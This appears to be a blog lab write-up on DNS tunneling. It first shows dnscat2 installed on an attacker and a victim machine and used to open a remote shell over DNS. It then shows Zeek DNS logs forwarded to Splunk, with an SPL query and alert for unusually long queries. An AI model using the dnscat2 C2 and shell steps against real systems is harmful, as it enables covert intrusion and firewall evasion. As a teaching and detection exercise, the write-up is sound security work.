An attacker has compromised a server. They try to connect out, but every port is blocked by a restrictive firewall…
Except one: Port 53 (DNS).
For most networks, DNS is the one protocol that is always allowed out. Attackers know this, and they exploit it.
By “tunneling” their Command & Control (C2) traffic inside normal-looking DNS queries, they can remain completely hidden. This is a classic Advanced Persistent Threat (APT) technique.
In this guide, we’ll do a full end-to-end exercise. First, we’ll put on our Red Team hat and use dnscat2 to perform the DNS tunneling attack. Then, we'll switch to the Blue Team, ingest our logs into a SIEM, and write the exact queries to hunt for...
An attacker has compromised a server. They try to connect out, but every port is blocked by a restrictive firewall…
Except one: Port 53 (DNS).
For most networks, DNS is the one protocol that is always allowed out. Attackers know this, and they exploit it.
By “tunneling” their Command & Control (C2) traffic inside normal-looking DNS queries, they can remain completely hidden. This is a classic Advanced Persistent Threat (APT) technique.
In this guide, we’ll do a full end-to-end exercise. First, we’ll put on our Red Team hat and use dnscat2 to perform the DNS tunneling attack. Then, we'll switch to the Blue Team, ingest our logs into a SIEM, and write the exact queries to hunt for this activity.
Overview of This Write-Up
- DNS Tunneling Demonstration: Performed DNS tunneling using dnscat2 to understand how command-and-control traffic can be hidden inside DNS queries.
- Lab Setup: Configured attacker and victim machines to simulate real-world DNS tunneling behavior.
- Log Forwarding to SIEM: Forwarded DNS logs from Zeek (installed on Ubuntu) to Splunk for centralized monitoring.
- Detection and Alerting: Created SPL queries, built detection rules, and configured alerts in Splunk to identify suspicious or abnormal DNS activity.
What is DNS?
DNS stands for Domain Name System, and it’s like the phonebook of the internet. When you type a website address (like www.google.com) into your browser, DNS is the system that translates that human-readable domain name into an IP address (like 172.217.3.110) that computers use to communicate with each other.
How Does DNS Work?
- You type a Domain Name: When you want to visit a website, you type the domain name (e.g., www.learnthenet.net)
- DNS Query: Your computer sends a request (DNS query) to a DNS server to find out the IP address associated with that domain name.
- DNS Server Response: The DNS server looks up the domain name and returns the corresponding IP address.
- Access the Website: Your browser can now use that IP address to connect to the website and display the page.

What is DNS Tunneling?
DNS Tunneling is a method used to send or receive hidden data by embedding it inside DNS queries and responses. DNS is usually trusted and allowed through firewalls, so attackers use this trick to bypass security systems and communicate with hacked systems.
How DNS Tunneling Works Using dnscat2?
The dnscat2 tool works in two modes:
- dnscat2-server — This runs on the attacker’s machine (Kali). It works like: 1. A DNS server to receive DNS requests 2. A command listener to control the target
- dnscat2-client — This runs on the target machine (Ubuntu). It sends DNS requests to the attacker’s server.
What Happens Step-by-Step
- First, the attacker hacks the target system.
- After gaining access, the attacker wants to communicate secretly without being detected.
- To do this, they install the dnscat2-client on the target machine.
- Now, the target starts sending DNS packets to the attacker’s DNS server.
- These DNS packets look normal, but the subdomain part (like xyz.hacker.com) contains encoded data (like commands or messages).
- The attacker’s dnscat2-server receives this DNS request, decodes the data, and processes the command.
- If there is a response, the reply is sent back in a similar DNS packet with encoded content.
- This entire process hides the communication inside DNS traffic, which makes it look like normal internet activity.
Lab SetUp
Step 1: Install ‘dnscat2’ Server on Attacker Machine
Update package lists
sudo apt update

Install Ruby and Git,
sudo apt install ruby git

Clone the dnscat2 repo
git clone https://github.com/iagox86/dnscat2.git

Go into the server directory
cd dnscat2/server

Install Bundler (Ruby dependency manager)
sudo gem install bundler

Install required Ruby gems
sudo bundle install

After this, you can start the DNS server with:
sudo ruby ./dnscat2.rb

Step 2: Install the dnscat2 Client on the Victim
Install Go and Git
sudo apt install golang git

Clone the dnscat2 repo
git clone https://github.com/iagox86/dnscat2.git

Go into the client directory
cd dnscat2/client
sudo apt-get install make

Compile the client
make

Once the compilation is complete, you will be able to use the dnscat2 client tool on the target machine. Before this, we had already started the dnscat2 server on the attacker machine. When you run the server, it will display a command that needs to be executed on the client side.

Copy the command, navigate to the dnscat2/client directory, paste the command, and replace the IP address in the server field with the attacker’s IP address.

Once you run the command on the target machine and it shows “session established,” it means the target machine has successfully connected to the attacker’s server.
When you go back to the attacker machine (DNS server), it will show “new window created: 1”, which means the target machine has successfully connected to the attacker’s system.

The next step is to control the target system remotely. To do this, we need to get a shell on the target machine. Follow the upcoming stages carefully to establish a remote shell and begin controlling the target system.
Enter “sessions”, and it will show you active sessions on the server
sessions

Next, use the active session
session -i 1

Enter “shell”, and it will create a new shell session on the target machine. Through this session, you can enter commands here, and they will be executed on the target system.
shell

A new shell session has been created. The next step is to use that session to interact with the target machine.
session -i 2

Now that we have successfully obtained the target shell, let’s see how the data packets between these two devices are transmitted through Wireshark.
When you filter for DNS, you will be able to see several DNS packets passing between the attacker machine and the target.

By examining the DNS packet query, you can observe that the requested domain is encoded.

This means that any command or activity entered on the attacker machine will be encoded and added to the query field, then sent to the target. The target machine performs the same encoding and sends the query back to the attacker.
SIEM DETECTION
Now we have set up the lab and performed a basic DNS tunneling attack to understand how it works. Next, we will focus on detecting this activity using a SIEM by creating a custom alert. When triggered, this alert will notify us of suspicious DNS tunneling behavior.
To do this, I am using Zeek as the log source and Splunk as the SIEM. My Zeek instance is installed on Ubuntu. If you haven’t set up Zeek yet, follow this blog: “Zeek Setup Guide” If you haven’t set up Splunk yet, follow this blog: “Splunk Setup Guide.”
You can view the DNS logs on the Ubuntu system (target machine) at the following location /opt/zeek/logs/current/dns.log

We can forward this log to the SIEM for analysis and alerting.
sudo /opt/splunkforwarder/bin/splunk add monitor /opt/zeek/logs/current/dns.log


When we look at the logs, the “query” field contains the domain names entered by the user. In the case of DNS tunneling, the data is encoded and inserted into the “query” field. This results in unusually long domain names. By analyzing the length of DNS queries, we can detect abnormal entries—queries that are significantly longer than usual—indicating potential tunneling activity.
index=* | eval Query_Lengh = len(query) | where Query_Lengh > 30 | table id.orig_h, id.resp_h, query, Query_Lengh
This SPL query will return DNS queries with a length greater than 30, along with the sender device IP, receiver device IP, the query itself, and its length all in a table format.

Lets create alert
Previously, we observed multiple DNS queries with a length greater than 30. We can use the same SPL query to create an alert in Splunk.
index=* | eval Query_Lengh = len(query) | where Query_Lengh > 30
- Save as → alert
- Give the alert a title like “DNS Tunneling” and “Alert type : Real time” and leave the other settings at their default values.
- Add actions → Add to Triggered Alerts

- Save
Let’s trigger the alert
Perform some activity using the dnscat2 server (C2C server) to generate DNS tunneling traffic.
- Navigate to Activity → Triggered Alerts, where you can see the alert that was triggered.

We successfully triggered the alert. However, not every log with a long DNS query indicates DNS tunneling some of them may be genuine. Sometimes, users or systems may query domains longer than 30 characters for legitimate reasons. As a Security Analyst or SOC Analyst, your job is to investigate further and determine whether it’s actually DNS tunneling or just normal communication.
Command and Control & Tunnelling via DNS was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.